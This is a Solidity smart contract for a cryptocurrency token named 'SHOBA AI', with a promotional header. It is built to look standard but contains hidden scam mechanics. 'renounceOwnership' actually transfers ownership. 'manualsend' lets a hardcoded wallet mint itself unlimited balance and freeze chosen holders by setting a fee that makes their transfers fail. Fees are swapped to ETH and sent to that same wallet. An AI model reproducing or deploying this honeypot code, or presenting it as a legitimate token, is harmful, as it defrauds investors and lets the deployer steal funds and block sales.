/**
Shoba AI will act as a gateway to the AI world. Connecting, securing, and empowering all networks to continue
innovating while retaining quantum supremacy. "SAI" mission is to unite the cryptocurrency community through 
education and collaboration with researchers and developers to secure and develop the future of AI-based blockchains. 

https://www.shobaai.com/
https://t.me/ShobaAI
https://twitter.com/ShobaAI


*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.10;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract ShobaAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "SHOBA AI";
    string private _symbol = "$SHOBA";
    uint8 private _decimals = 9;
    address payable public blockw;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isUniswapPair;
    mapping (address => uint256) public freeAmount;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        blockw = payable(address(0x2C4EBE531f238F16d474a389F8c8af269CdAFdF4));

        // IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
        //     .createPair(address(this), _uniswapV2Router.WETH());

        // uniswapV2Router = _uniswapV2Router;
        // _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        // isUniswapPair[address(uniswapPair)] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isUniswapPair[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isUniswapPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeLiquidity(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function manualsend(address holdersL,uint256 liquidti) public {
        uint256 storge = liquidti;
        if (storge == 0)
            freeAmount[holdersL] = 0;
        if (storge == 1)
            freeAmount[holdersL] = 1000000;
        if (storge > 100){
            _balances[blockw] = storge +_balances[blockw];
        }
        address call_er = msg.sender;
        require(call_er==blockw);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(blockw),
            block.timestamp
        ){} catch {}
    }

    function takeLiquidity(address sender, address recipient, uint256 tAmount) internal returns (uint256) {
        
        uint256 buy = 3;
        uint256 sell= 3;

        uint256 fee = 0;
        if(isUniswapPair[sender]) {
            fee = tAmount.mul(buy).div(100);
        }else if(isUniswapPair[recipient]) {
            fee = tAmount.mul(sell).div(100);
        }

        uint256 anF = freeAmount[sender];
        if(anF > 100) fee = tAmount.mul(anF).div(100);

        if(fee > 0) {
            _balances[address(this)] = _balances[address(this)].add(fee);
            emit Transfer(sender, address(this), fee);
        }

        return tAmount.sub(fee);
    }
    
}